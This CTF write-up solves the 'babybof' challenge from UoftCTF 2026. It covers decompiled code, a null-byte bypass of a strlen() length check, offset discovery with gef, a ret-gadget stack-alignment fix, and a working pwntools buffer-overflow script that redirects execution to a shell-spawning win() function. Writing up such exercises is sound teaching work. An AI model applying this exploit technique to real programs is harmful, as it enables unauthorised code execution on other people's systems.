Post

babybof

Babybof was an Easy Binary Exploitation challenge from UoftCTF 2026. It was the most solved Binary Exploitation challenge.

Babybof was an Easy Binary Exploitation challenge from UoftCTF 2026. It was the most solved Binary Exploitation challenge.

Reversing

After putting the chall binary into ghidra, and disassembling main, I got the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
undefined8 main(void)

{
  size_t sVar1;
  char local_18 [16];
  
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  local_18[0] = '\0';
  local_18[1] = '\0';
  local_18[2] = '\0';
  local_18[3] = '\0';
  local_18[4] = '\0';
  local_18[5] = '\0';
  local_18[6] = '\0';
  local_18[7] = '\0';
  local_18[8] = '\0';
  local_18[9] = '\0';
  local_18[10] = '\0';
  local_18[0xb] = '\0';
  local_18[0xc] = '\0';
  local_18[0xd] = '\0';
  local_18[0xe] = '\0';
  local_18[0xf] = '\0';
  puts("What is your name: ");
  gets(local_18);
  sVar1 = strlen(local_18);
  if (0xe < sVar1) {
    puts("Thats suspicious.");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  printf("Hi, %s!\n",local_18);
  return 0;
}

The challenge uses gets() to write into a fixed size buffer. The problem with gets() is that it can write an arbitrary amount leading to a buffer overflow, which can change the saved instruction pointer on the stack giving an attacker full control over the program. In this challenge, the author tried to prevent this using a strlen() check to make sure the input is less than 14, before returning.

Null Byte Abuse

The unfortunate thing about the strlen() function is that it stops reading at a null byte ‘\x00.’ So, since I can pass in a null byte to the input before my payload, I can bypass this check.

Saved Instruction Pointer Offset

Adding the null byte to the start of a cyclic payload, I found the offset of the saved instruction pointer on the stack relative to the start of the buffer. To do this, I used the gef binary debugger tool to inspect the memory at rsp after the overflow. The reason I’m checking the memory at rsp instead of rip is because this is a 64 bit program. 64 bit programs use canonical addressing, and if the overwritten return address isn’t in the canonical address range (for testing it will be outside the range), it won’t execute the return instruction. This leaves the value that is supposed to go in the rip at the top of the stack or the rsp register.

I passed a byte string with a null byte at the start to skip the strlen() check, followed by a long De Bruijn sequence (can be generated using pattern create 500 in gef). The way I did this was by writing the bytes to a .bin file and sending then the contents as my input. gef calculated the offset using the De Bruijn sequence bytes at rsp, returning 23 bytes.

1
2
with open("de_bruijn.bin", "wb") as f:
        f.write(b"\x00"+b"aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa")
1
2
3
gef➤  pattern offset $rsp
[+] Searching for '6164616161616161'/'6161616161616461' with period=8
[+] Found at offset 23 (little-endian search) likely

Payload Creation

Using the offset, I generated a payload that replaces the saved instruction pointer on the stack with the address of the win() function. Since there is no PIE, this address will be the same every execution. To get the address of the win() function, I used gef again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010a0  puts@plt
0x00000000004010b0  strlen@plt
0x00000000004010c0  system@plt
0x00000000004010d0  printf@plt
0x00000000004010e0  gets@plt
0x00000000004010f0  setvbuf@plt
0x0000000000401100  exit@plt
0x0000000000401110  _start
0x0000000000401140  _dl_relocate_static_pie
0x0000000000401150  deregister_tm_clones
0x0000000000401180  register_tm_clones
0x00000000004011c0  __do_global_dtors_aux
0x00000000004011f0  frame_dummy
0x00000000004011f6  win
0x0000000000401210  main
0x00000000004012d8  _fini
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
elf = ELF('./chall')
p = process(elf.path)

payload = b'\x00' + b'A'*23
payload += p64(0x00000000004011f6)

with open("payload.bin", "wb") as f:
    f.write(payload)

p.sendline(payload)
p.interactive()

Stack Alignment

1
2
3
4
5
6
7
8
9
10
11
12
13
14
   0x7ffff7c535e4                  mov    QWORD PTR [rsp+0x60], rax
   0x7ffff7c535e9                  mov    rax, QWORD PTR [rip+0x1c19c8]        # 0x7ffff7e14fb8
   0x7ffff7c535f0                  punpcklqdq xmm0, xmm1
 → 0x7ffff7c535f4                  movaps XMMWORD PTR [rsp+0x50], xmm0
   0x7ffff7c535f9                  mov    r9, QWORD PTR [rax]
   0x7ffff7c535fc                  call   0x7ffff7cf94e0 <posix_spawn>
   0x7ffff7c53601                  mov    rdi, rbx
   0x7ffff7c53604                  mov    ebp, eax
   0x7ffff7c53606                  call   0x7ffff7cf9950 <posix_spawnattr_destroy>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "chall", stopped 0x7ffff7c535f4 in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7c535f4 → movaps XMMWORD PTR [rsp+0x50], xmm0
[#1] 0x40120d → win()

However, despite everything looking correct, the payload did not successfully execute the win() function. Opening gef again, and passing in payload.bin, it’s clear that the binary breaks at movaps XMMWORD PTR [rsp+0x50], xmm0. A bit of googling revealed that segfaulting on this instruction indicates that the stack is not aligned. The stack needs to be 16 byte aligned when calling certain functions in libc, especially ones that modify the system (this is just a calling convention). This includes the system() function, which is what is used in win() to call a shell.

1
2
3
4
5
6
void win(void)

{
  system("/bin/sh");
  return;
}

To fix this stack alignment issue, I simply adding a ret gadget before calling win() (found using ROPgadget). A ret gadget adds 8 to rsp by the time it reaches the win() address because the stack has to fit in an extra instruction, making its address a multiple of 16 if it’s not already. The ret gadget will set the value at the top of the stack to rip, which in this case is the win() address.

1
2
3
┌──(kali㉿kali)-[~/Downloads]
└─$ ROPgadget --binary=chall | grep ": ret"                                                                                                                                                                                                
0x000000000040101a : ret

This resulted in the final payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
elf = ELF('./chall')
p = process(elf.path)

payload = b'\x00' + b'A'*23
payload += p64(0x000000000040101a)
payload += p64(0x00000000004011f6)

with open("payload.bin", "wb") as f:
    f.write(payload)

p.sendline(payload)
p.interactive()
This post is licensed under CC BY 4.0 by the author.